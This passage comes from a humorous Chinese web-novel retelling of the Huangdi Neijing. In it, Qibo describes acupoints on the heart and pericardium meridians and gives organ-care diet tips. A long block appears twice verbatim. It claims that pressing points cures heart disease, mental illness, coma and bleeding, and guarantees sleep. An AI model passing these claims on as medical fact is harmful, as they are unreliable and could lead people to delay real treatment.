“然后啊，咱们来到第三个穴位——少海穴。它在你的肘横纹内侧端与肱骨内上髁连线的中点处。你把手臂弯起来，用另一只手的大拇指去按，就能找到这个穴位了。” 黄帝好奇地问：“少海穴？这名字听起来好大气啊，是不是像大海一样宽广？” 岐伯点头：“对，少海穴就像是心经的一片海洋，它汇聚了心经的气血，主治心痛、肘臂挛痛、瘰疬、头项痛、腋胁痛等症状。你心情烦躁，失眠多梦的时候，按按这里，就能感觉心里平静多了，像是被一片温柔的海洋包围着。” “接下来，咱们说说第四个穴位——灵道穴。它在你的腕横纹上1.5寸的地方，尺侧腕屈肌腱的桡侧缘。你把手掌朝上，用另一只手的中指去按，就能找到这个穴位了。” 黄帝笑眯眯地说：“灵道穴？这名字听起来好神奇啊，是不是像是一条通往心灵的秘密通道？” 岐伯笑着点头：“没错，灵道穴就像是心灵的一条通道，它主管着心痛、暴喑、肘臂挛痛等症状。你心情低落，郁郁寡欢的时候，按按这里，就能感觉心里像是被一股温暖的力量照亮了，心情也慢慢好起来了。” “然后啊，咱们来到第五个穴位——通里穴。它在你的腕横纹上1寸的地方，尺侧腕屈肌腱的桡侧缘。你把手掌朝上，用另一只手的大拇指去按，就能找到这个穴位了。” 小主， 黄帝眨了眨眼：“通里穴？这名字听起来好通顺啊，是不是像是一条畅通无阻的道路？” 岐伯点头：“对，通里穴就像是心神的一条通道，它主管着心悸、怔忡、暴喑、舌强不语、腕臂痛等症状。你心神不宁，失眠健忘的时候，按按这里，就能感觉心里像是被一股清新的风吹拂过，变得清爽多了。” “接下来，咱们说说第六个穴位——阴郄穴。它在你的腕横纹上0.5寸的地方，尺侧腕屈肌腱的桡侧缘。你把手掌朝上，用另一只手的中指去按，就能找到这个穴位了。” 黄帝好奇地问：“阴郄穴？这名字听起来好特别啊，是不是跟心阴有什么关系？” 岐伯点头：“没错，阴郄穴就像是心阴的一位守护者，它主管着心痛、惊恐、吐血、衄血、骨蒸盗汗等症状。你阴虚火旺，心烦意乱的时候，按按这里，就能感觉心里像是被一股清凉的水滋润着，变得宁静多了。” “然后啊，咱们来到第七个穴位——神门穴。它在你的腕部，腕掌侧横纹尺侧端，尺侧腕屈肌腱的桡侧凹陷处。你把手掌朝上，用另一只手的大拇指去按，就能找到这个穴位了。” 黄帝瞪大了眼睛：“神门穴？这名字听起来好厉害啊，是不是像是一扇通往心神的大门？” 岐伯笑着点头：“对，神门穴就像是心神的一扇大门，它主管着心痛、心烦、惊悸、怔忡、健忘、失眠、痴呆、癫狂痫、晕车等症状。你心神不定，焦虑不安的时候，按按这里，就能感觉心里像是被一股神秘的力量安抚着，变得平静多了。” “接下来，咱们说说第八个穴位——少府穴。它在你的手掌面，第4、5掌骨之间，握拳时，当小指尖处。你把手掌摊开，用另一只手的大拇指去按，就能找到这个穴位了。” 黄帝笑眯眯地说：“少府穴？这名字听起来好温馨啊，是不是像是一个小火炉，专门给心火取暖的？” 岐伯点头：“没错，少府穴就像是心火的一个小火炉，它主管着心悸、胸痛、小便不利、遗尿、阴痒痛、小指挛痛等症状。你心火旺盛，口干舌燥的时候，按按这里，就能感觉心里像是被一股温暖的力量包围着，变得舒适多了。” “最后啊，咱们来到第九个穴位——少冲穴。它在你的小指末节桡侧，距指甲角0.1寸的地方。你把小指伸出来，用另一只手的指甲去掐，就能找到这个穴位了。” 黄帝瞪大了眼睛：“少冲穴？这名字听起来好犀利啊，是不是像是一把利剑，专门刺破心火的？” 岐伯笑着摇头：“不对不对，少冲穴更像是心火的一个出口，它主管着心悸、心痛、胸胁痛、癫狂、热病、昏迷等症状。你心火过旺，烦躁不安的时候，掐掐这里，就能感觉心里像是被一股清凉的风吹过，变得清爽多了。” 黄帝听完岐伯的讲解，哈哈大笑：“岐伯啊，你这讲解真是既生动又有趣，让我这个老头子都听得津津有味。看来，这手少阴经还真是不简单啊，它上面的每一个穴位都像是一颗璀璨的明珠，照亮着我们的身体。” 经水篇第十二（七） 黄帝这天心情格外好，他捋了捋胡子，笑眯眯地问岐伯：“岐伯啊，我这心里头有个事儿，老想弄明白。你说，这手心主经，它到底是个啥道理呢？” 岐伯一听，心里暗笑，这黄帝陛下又开始他的“十万个为什么”模式了。但他还是一本正经地回答：“陛下，这手心主啊，它外合于漳水，内属于心包。您看，这就像咱们家里的水管，外接大河，内通厨房，水流畅通无阻，咱们的身体才能正常运转嘛！” 黄帝一听，眼睛一亮：“哦？这么说来，这手心主经还挺重要的嘛！那它上面的穴位呢？有没有什么特别的讲究？” 岐伯微微一笑，开始了他那“穴位大揭秘”的表演：“当然有啦！这手心主经，从头到尾，穴位多多，作用大大。咱们就从手尖开始，一路往上聊吧！” “首先啊，咱们说说这中冲穴。它就在咱们中指末端的最高点，您伸出来看看，是不是有个小窝窝？对了，就是那个地方。这中冲穴啊，就像是咱们指尖上的‘灭火器’，要是您心火旺盛，烦躁得不行，揉一揉它，立马就能降火消烦。您说，这作用大不大？” 黄帝听得津津有味，连连点头：“嗯，这穴位还真有点意思！” “接下来啊，咱们说说这劳宫穴。它就在咱们手掌心，中指和无名指往下延伸的交汇处。您握握拳，是不是感觉掌心有个凸起的地方？对了，那就是劳宫穴。这穴位啊，就像是咱们手心里的‘小太阳’，温暖着咱们的心房。要是您感觉心里发凉，或者心慌意乱，揉揉它，立马就能感觉心里暖洋洋的，安稳多了。” 黄帝听得哈哈大笑：“这穴位还真是贴心啊！” “再往上走啊，咱们就到了大陵穴。它就在咱们手腕横纹的中点，两根肌腱之间。您摸摸看，是不是有个软软的小坑？对了，那就是大陵穴。这穴位啊，就像是咱们手腕上的‘安神丸’，要是您晚上睡不着觉，或者心神不宁，按一按它，保管您能睡个安稳觉。” 黄帝听得眼睛发亮：“这穴位这么神奇？那以后失眠就找它了！” “再往上啊，咱们就到了间使穴。它就在咱们前臂掌侧，腕横纹上三寸的地方。您伸出胳膊，量一量，是不是有个酸酸的地方？对了，那就是间使穴。这穴位啊，就像是咱们胳膊上的‘宽心丸’，要是您心里憋屈，或者压力大得喘不过气来，揉一揉它，立马就能感觉心里宽敞多了。” 黄帝听得连连称奇：“这穴位还真是善解人意啊！” “最后啊，咱们说说这曲泽穴。它就在咱们肘窝横纹的正中间，您弯一弯胳膊，是不是能看见肘窝里头有个凹进去的地方？对了，那就是曲泽穴。这穴位啊，就像是咱们肘窝里的‘开心泉’，要是您心情低落，或者郁郁寡欢，按一按它，立马就能感觉心里头乐开了花。” 黄帝听得眉开眼笑：“这穴位真是太逗了！以后不开心就找它！” 说完这些穴位，岐伯还不忘补充一句：“陛下啊，这手心主经上的穴位啊，个个都是宝贝。它们不仅能帮助咱们调节心情，还能治疗各种心脏疾病、精神疾病呢！所以啊，咱们平时没事的时候，多揉揉这些穴位，对身体可是大有好处啊！” 黄帝一听，高兴得直拍手：“好！好！以后我就把这些穴位当成我的‘开心果’，天天揉一揉！” 说完这些，岐伯突然话锋一转：“不过啊，陛下，这穴位按摩虽然好，但也不能贪杯哦！毕竟咱们的身体是个复杂的系统，每个穴位都有它特定的作用和禁忌。所以啊，您在按摩的时候，一定要注意力度和频率，可别把好事儿给办坏了！” 黄帝一听，连忙点头：“对对对！你说得对！这事儿我可得记在心里头！” 说完这些，黄帝和岐伯相视一笑，仿佛达成了某种默契。他们知道，这穴位按摩虽然简单，但却蕴含着深奥的中医智慧。只要掌握了这些智慧，就能让咱们的身体更加健康、更加快乐！ 手心主经的欢乐日常 一天，中指上的中冲穴突然发现自己的主人心火旺盛，烦躁得不行。于是，它立刻启动了“灭火行动”。它使劲地揉了揉自己的小窝窝，一股清凉之气瞬间涌上心头。主人的心情立马平复了下来，感慨地说：“哎呀，这中冲穴真是个好东西！” 冬天来了，主人的手心总是发凉。这时，劳宫穴站了出来。它轻轻地散发着温暖的气息，就像是给主人一个温暖的拥抱。主人感动地说：“这劳宫穴真是个贴心的小棉袄！” 晚上，主人翻来覆去睡不着觉。大陵穴看在眼里，急在心里。它轻轻地按了按自己的位置，一股安神之气弥漫开来。主人渐渐地平静下来，进入了甜美的梦乡。第二天醒来，主人感慨地说：“昨晚睡得真香，多亏了大陵穴！” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 主人最近总是情绪低落。曲泽穴决定给主人带来一些欢乐。它轻轻地按了按自己的位置，一股开心之气弥漫开来。主人的脸上渐渐露出了笑容。他感慨地说：“这曲泽穴真是个开心果！每次按一按它，我的心情都能变好！” 有一天，黄帝突发奇想，他捋着长长的胡子，对身边的岐伯说：“岐伯啊，我这心里头有个大大的疑惑，就像那馋猫盯着鱼却吃不着一样难受。你说咱们人体的五脏六腑和十二经水，这里面到底有啥玄妙的道理呢？能不能给我说道说道？” 岐伯一听，心里头那个乐呵啊，心想这黄帝还真是好学不倦，连这么深奥的问题都搬出来了。于是，他清了清嗓子，摆出一副说书先生的架势，缓缓开口：“哎呀，陛下这个问题问得好，问得妙，问得呱呱叫！要说这五脏六腑十二经水啊，那可真是一门大学问，咱们得从头捋一捋。” “您看哈，咱先说说这五脏六腑。咱们人体里头啊，就像个小宇宙，五脏呢，就是心肝脾肺肾这五位大佬，它们各自管着一块地盘，负责着咱们身体的各种大事小情。六腑呢，就是胃、大肠、小肠、三焦、膀胱、胆这六位兄弟，它们是干活的能手，负责消化、排泄这些重活累活。这五脏六腑啊，它们可不是孤军奋战，它们之间有着千丝万缕的联系，就像咱们村里的亲戚关系一样复杂。” “再来说说这十二经水。您可别以为这是说咱们身体里有十二条河呢！其实啊，这十二经水指的是咱们身体上的十二条主要经络，它们就像十二条高速公路，把气血这些宝贵的资源输送到咱们身体的各个角落。这些经络啊，有的走上肢，有的走下肢，有的还绕着脖子转圈圈，它们互相交错，形成了一张错综复杂的大网。” 黄帝听得连连点头，心里头那个佩服啊，简直就像看到了神仙下凡一样。岐伯见状，更加来了精神，继续说道：“陛下啊，您知道吗？这五脏六腑和十二经水啊，它们可不是孤立的，它们之间有着密切的联系。就像咱们村里的水源一样，外面有泉水、河流，里面呢，家家户户都有水井，这样咱们才能喝到干净的水。咱们的身体也是这样，外面的气血就像那泉水、河流，源源不断地给咱们的身体提供养分；里面的五脏六腑和经络呢，就像那水井，负责接收和分配这些养分。” “而且啊，这内外之间啊，还有一个神奇的循环机制，就像那环形跑道一样，永不停息。气血从心脏出发，沿着经络跑到四肢百骸，然后又回到心脏，这样周而复始，生生不息。所以啊，咱们中医常说‘气血通畅，百病不生’，就是这个道理。” 黄帝听得如痴如醉，心想这岐伯真是个医学奇才啊，连这么深奥的道理都能讲得这么通俗易懂。于是，他又问了一个更有趣的问题：“岐伯啊，你说咱们人和天地之间有没有什么联系呢？” 岐伯一听，哈哈大笑：“陛下啊，您这个问题问得好啊！咱们人和天地之间啊，那可是息息相关，密不可分的。您看哈，咱们中医常说‘天人合一’，就是说咱们人和天地是一个整体。天为阳，地为阴；咱们人呢，腰以上为天，腰以下为地。您看那天上的太阳、月亮、星星，地上的山川、河流、草木，它们都在不停地变化着，咱们人的身体也跟着变化着。” “就像那北方的海啊，它是阴性的；北方的湖呢，更是阴中之阴，冷得跟冰块似的。南方的漳河呢，它是阳性的；但是漳河以北到黄河这一段呢，又是阳中之阴，就像那秋天的天气一样，早晚凉飕飕的。再往南呢，漯河以南一直到长江这一段啊，那就是阳中之太阳了，热得跟蒸笼似的。您看这天地之间的阴阳变化啊，是不是跟咱们人的身体很相似呢？” 黄帝一听，恍然大悟：“原来如此啊！看来咱们中医的理论还真是博大精深啊！岐伯啊，你这番讲解真是让我受益匪浅啊！” 岐伯谦虚地笑了笑：“哪里哪里！陛下过奖了！我这也是抛砖引玉罢了。咱们中医的理论啊，那可是经过千百年来无数先辈们的实践和总结才得出来的宝贵财富啊！咱们得好好珍惜、传承和发展啊！ 话说回来哈，咱们这五脏六腑和十二经水啊，还真不是盖的！它们就像咱们身体的守护神一样默默地守护着咱们的健康。所以啊咱们平时可得好好对待它们哦！别总是熬夜、暴饮暴食、久坐不动啥的给它们添堵！ 你看那心脏，就像咱们身体的发动机一样，一刻不停地跳动着，给咱们输送血液和氧气！咱们要是不好好爱护它，你说它能乐意吗？说不定哪天它就罢工了！到时候咱们可就惨咯！所以啊咱们得多吃点对心脏好的食物，比如红枣、核桃，还得经常锻炼锻炼让心脏更强壮才行呢！ 还有啊！那肝脏就像咱们身体的化工厂一样负责解毒、代谢！咱们要是总吃那些垃圾食品、喝酒，你说肝脏它能受得了吗？说不定哪天它就罢工了呢！到时候咱们就得面对各种肝脏疾病！所以啊咱们得多吃点对肝脏好的食物，比如菠菜、枸杞，还得少喝酒、少熬夜才行呢！ 再来说说那肺脏！它就像咱们身体的呼吸机一样负责给咱们提供氧气！咱们要是总待在空气污染严重的地方，你说肺脏它能舒服吗？说不定哪天它就罢工了！到时候咱们就得面对各种呼吸系统疾病！所以咱们得多吃点对肺脏好的食物，比如雪梨、百合，还得经常开窗通风、多去户外呼吸新鲜空气！ 还有那肾脏！它就像咱们身体的过滤器一样负责过滤血液、排除废物！咱们要是总吃那些高盐、高糖、高脂肪的食物你说肾脏它能受得了吗？说不定哪天它就罢工了呢！到时候咱们就得面对各种肾脏疾病！所以咱们得多吃点对肾脏好的食物比如黑豆、黑芝麻，还得少吃盐、少吃糖、少吃油才行呢！ 喜欢黄帝内经爆笑讲解版请大家收藏：()黄帝内经爆笑讲解版爪机书屋更新速度全网最快。黄帝这天心情格外好，他捋了捋胡子，笑眯眯地问岐伯：“岐伯啊，我这心里头有个事儿，老想弄明白。你说，这手心主经，它到底是个啥道理呢？” 岐伯一听，心里暗笑，这黄帝陛下又开始他的“十万个为什么”模式了。但他还是一本正经地回答：“陛下，这手心主啊，它外合于漳水，内属于心包。您看，这就像咱们家里的水管，外接大河，内通厨房，水流畅通无阻，咱们的身体才能正常运转嘛！” 黄帝一听，眼睛一亮：“哦？这么说来，这手心主经还挺重要的嘛！那它上面的穴位呢？有没有什么特别的讲究？” 岐伯微微一笑，开始了他那“穴位大揭秘”的表演：“当然有啦！这手心主经，从头到尾，穴位多多，作用大大。咱们就从手尖开始，一路往上聊吧！” “首先啊，咱们说说这中冲穴。它就在咱们中指末端的最高点，您伸出来看看，是不是有个小窝窝？对了，就是那个地方。这中冲穴啊，就像是咱们指尖上的‘灭火器’，要是您心火旺盛，烦躁得不行，揉一揉它，立马就能降火消烦。您说，这作用大不大？” 黄帝听得津津有味，连连点头：“嗯，这穴位还真有点意思！” “接下来啊，咱们说说这劳宫穴。它就在咱们手掌心，中指和无名指往下延伸的交汇处。您握握拳，是不是感觉掌心有个凸起的地方？对了，那就是劳宫穴。这穴位啊，就像是咱们手心里的‘小太阳’，温暖着咱们的心房。要是您感觉心里发凉，或者心慌意乱，揉揉它，立马就能感觉心里暖洋洋的，安稳多了。” 黄帝听得哈哈大笑：“这穴位还真是贴心啊！” “再往上走啊，咱们就到了大陵穴。它就在咱们手腕横纹的中点，两根肌腱之间。您摸摸看，是不是有个软软的小坑？对了，那就是大陵穴。这穴位啊，就像是咱们手腕上的‘安神丸’，要是您晚上睡不着觉，或者心神不宁，按一按它，保管您能睡个安稳觉。” 黄帝听得眼睛发亮：“这穴位这么神奇？那以后失眠就找它了！” “再往上啊，咱们就到了间使穴。它就在咱们前臂掌侧，腕横纹上三寸的地方。您伸出胳膊，量一量，是不是有个酸酸的地方？对了，那就是间使穴。这穴位啊，就像是咱们胳膊上的‘宽心丸’，要是您心里憋屈，或者压力大得喘不过气来，揉一揉它，立马就能感觉心里宽敞多了。” 黄帝听得连连称奇：“这穴位还真是善解人意啊！” “最后啊，咱们说说这曲泽穴。它就在咱们肘窝横纹的正中间，您弯一弯胳膊，是不是能看见肘窝里头有个凹进去的地方？对了，那就是曲泽穴。这穴位啊，就像是咱们肘窝里的‘开心泉’，要是您心情低落，或者郁郁寡欢，按一按它，立马就能感觉心里头乐开了花。” 黄帝听得眉开眼笑：“这穴位真是太逗了！以后不开心就找它！” 说完这些穴位，岐伯还不忘补充一句：“陛下啊，这手心主经上的穴位啊，个个都是宝贝。它们不仅能帮助咱们调节心情，还能治疗各种心脏疾病、精神疾病呢！所以啊，咱们平时没事的时候，多揉揉这些穴位，对身体可是大有好处啊！” 黄帝一听，高兴得直拍手：“好！好！以后我就把这些穴位当成我的‘开心果’，天天揉一揉！” 说完这些，岐伯突然话锋一转：“不过啊，陛下，这穴位按摩虽然好，但也不能贪杯哦！毕竟咱们的身体是个复杂的系统，每个穴位都有它特定的作用和禁忌。所以啊，您在按摩的时候，一定要注意力度和频率，可别把好事儿给办坏了！” 黄帝一听，连忙点头：“对对对！你说得对！这事儿我可得记在心里头！” 说完这些，黄帝和岐伯相视一笑，仿佛达成了某种默契。他们知道，这穴位按摩虽然简单，但却蕴含着深奥的中医智慧。只要掌握了这些智慧，就能让咱们的身体更加健康、更加快乐！ 手心主经的欢乐日常 一天，中指上的中冲穴突然发现自己的主人心火旺盛，烦躁得不行。于是，它立刻启动了“灭火行动”。它使劲地揉了揉自己的小窝窝，一股清凉之气瞬间涌上心头。主人的心情立马平复了下来，感慨地说：“哎呀，这中冲穴真是个好东西！” 冬天来了，主人的手心总是发凉。这时，劳宫穴站了出来。它轻轻地散发着温暖的气息，就像是给主人一个温暖的拥抱。主人感动地说：“这劳宫穴真是个贴心的小棉袄！” 晚上，主人翻来覆去睡不着觉。大陵穴看在眼里，急在心里。它轻轻地按了按自己的位置，一股安神之气弥漫开来。主人渐渐地平静下来，进入了甜美的梦乡。第二天醒来，主人感慨地说：“昨晚睡得真香，多亏了大陵穴！” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 主人最近总是情绪低落。曲泽穴决定给主人带来一些欢乐。它轻轻地按了按自己的位置，一股开心之气弥漫开来。主人的脸上渐渐露出了笑容。他感慨地说：“这曲泽穴真是个开心果！每次按一按它，我的心情都能变好！” 有一天，黄帝突发奇想，他捋着长长的胡子，对身边的岐伯说：“岐伯啊，我这心里头有个大大的疑惑，就像那馋猫盯着鱼却吃不着一样难受。你说咱们人体的五脏六腑和十二经水，这里面到底有啥玄妙的道理呢？能不能给我说道说道？” 岐伯一听，心里头那个乐呵啊，心想这黄帝还真是好学不倦，连这么深奥的问题都搬出来了。于是，他清了清嗓子，摆出一副说书先生的架势，缓缓开口：“哎呀，陛下这个问题问得好，问得妙，问得呱呱叫！要说这五脏六腑十二经水啊，那可真是一门大学问，咱们得从头捋一捋。” “您看哈，咱先说说这五脏六腑。咱们人体里头啊，就像个小宇宙，五脏呢，就是心肝脾肺肾这五位大佬，它们各自管着一块地盘，负责着咱们身体的各种大事小情。六腑呢，就是胃、大肠、小肠、三焦、膀胱、胆这六位兄弟，它们是干活的能手，负责消化、排泄这些重活累活。这五脏六腑啊，它们可不是孤军奋战，它们之间有着千丝万缕的联系，就像咱们村里的亲戚关系一样复杂。” “再来说说这十二经水。您可别以为这是说咱们身体里有十二条河呢！其实啊，这十二经水指的是咱们身体上的十二条主要经络，它们就像十二条高速公路，把气血这些宝贵的资源输送到咱们身体的各个角落。这些经络啊，有的走上肢，有的走下肢，有的还绕着脖子转圈圈，它们互相交错，形成了一张错综复杂的大网。” 黄帝听得连连点头，心里头那个佩服啊，简直就像看到了神仙下凡一样。岐伯见状，更加来了精神，继续说道：“陛下啊，您知道吗？这五脏六腑和十二经水啊，它们可不是孤立的，它们之间有着密切的联系。就像咱们村里的水源一样，外面有泉水、河流，里面呢，家家户户都有水井，这样咱们才能喝到干净的水。咱们的身体也是这样，外面的气血就像那泉水、河流，源源不断地给咱们的身体提供养分；里面的五脏六腑和经络呢，就像那水井，负责接收和分配这些养分。” “而且啊，这内外之间啊，还有一个神奇的循环机制，就像那环形跑道一样，永不停息。气血从心脏出发，沿着经络跑到四肢百骸，然后又回到心脏，这样周而复始，生生不息。所以啊，咱们中医常说‘气血通畅，百病不生’，就是这个道理。” 黄帝听得如痴如醉，心想这岐伯真是个医学奇才啊，连这么深奥的道理都能讲得这么通俗易懂。于是，他又问了一个更有趣的问题：“岐伯啊，你说咱们人和天地之间有没有什么联系呢？” 岐伯一听，哈哈大笑：“陛下啊，您这个问题问得好啊！咱们人和天地之间啊，那可是息息相关，密不可分的。您看哈，咱们中医常说‘天人合一’，就是说咱们人和天地是一个整体。天为阳，地为阴；咱们人呢，腰以上为天，腰以下为地。您看那天上的太阳、月亮、星星，地上的山川、河流、草木，它们都在不停地变化着，咱们人的身体也跟着变化着。” “就像那北方的海啊，它是阴性的；北方的湖呢，更是阴中之阴，冷得跟冰块似的。南方的漳河呢，它是阳性的；但是漳河以北到黄河这一段呢，又是阳中之阴，就像那秋天的天气一样，早晚凉飕飕的。再往南呢，漯河以南一直到长江这一段啊，那就是阳中之太阳了，热得跟蒸笼似的。您看这天地之间的阴阳变化啊，是不是跟咱们人的身体很相似呢？” 黄帝一听，恍然大悟：“原来如此啊！看来咱们中医的理论还真是博大精深啊！岐伯啊，你这番讲解真是让我受益匪浅啊！” 岐伯谦虚地笑了笑：“哪里哪里！陛下过奖了！我这也是抛砖引玉罢了。咱们中医的理论啊，那可是经过千百年来无数先辈们的实践和总结才得出来的宝贵财富啊！咱们得好好珍惜、传承和发展啊！ 话说回来哈，咱们这五脏六腑和十二经水啊，还真不是盖的！它们就像咱们身体的守护神一样默默地守护着咱们的健康。所以啊咱们平时可得好好对待它们哦！别总是熬夜、暴饮暴食、久坐不动啥的给它们添堵！ 你看那心脏，就像咱们身体的发动机一样，一刻不停地跳动着，给咱们输送血液和氧气！咱们要是不好好爱护它，你说它能乐意吗？说不定哪天它就罢工了！到时候咱们可就惨咯！所以啊咱们得多吃点对心脏好的食物，比如红枣、核桃，还得经常锻炼锻炼让心脏更强壮才行呢！ 还有啊！那肝脏就像咱们身体的化工厂一样负责解毒、代谢！咱们要是总吃那些垃圾食品、喝酒，你说肝脏它能受得了吗？说不定哪天它就罢工了呢！到时候咱们就得面对各种肝脏疾病！所以啊咱们得多吃点对肝脏好的食物，比如菠菜、枸杞，还得少喝酒、少熬夜才行呢！ 再来说说那肺脏！它就像咱们身体的呼吸机一样负责给咱们提供氧气！咱们要是总待在空气污染严重的地方，你说肺脏它能舒服吗？说不定哪天它就罢工了！到时候咱们就得面对各种呼吸系统疾病！所以咱们得多吃点对肺脏好的食物，比如雪梨、百合，还得经常开窗通风、多去户外呼吸新鲜空气！ 还有那肾脏！它就像咱们身体的过滤器一样负责过滤血液、排除废物！咱们要是总吃那些高盐、高糖、高脂肪的食物你说肾脏它能受得了吗？说不定哪天它就罢工了呢！到时候咱们就得面对各种肾脏疾病！所以咱们得多吃点对肾脏好的食物比如黑豆、黑芝麻，还得少吃盐、少吃糖、少吃油才行呢！ 喜欢黄帝内经爆笑讲解版请大家收藏：()黄帝内经爆笑讲解版爪机书屋更新速度全网最快。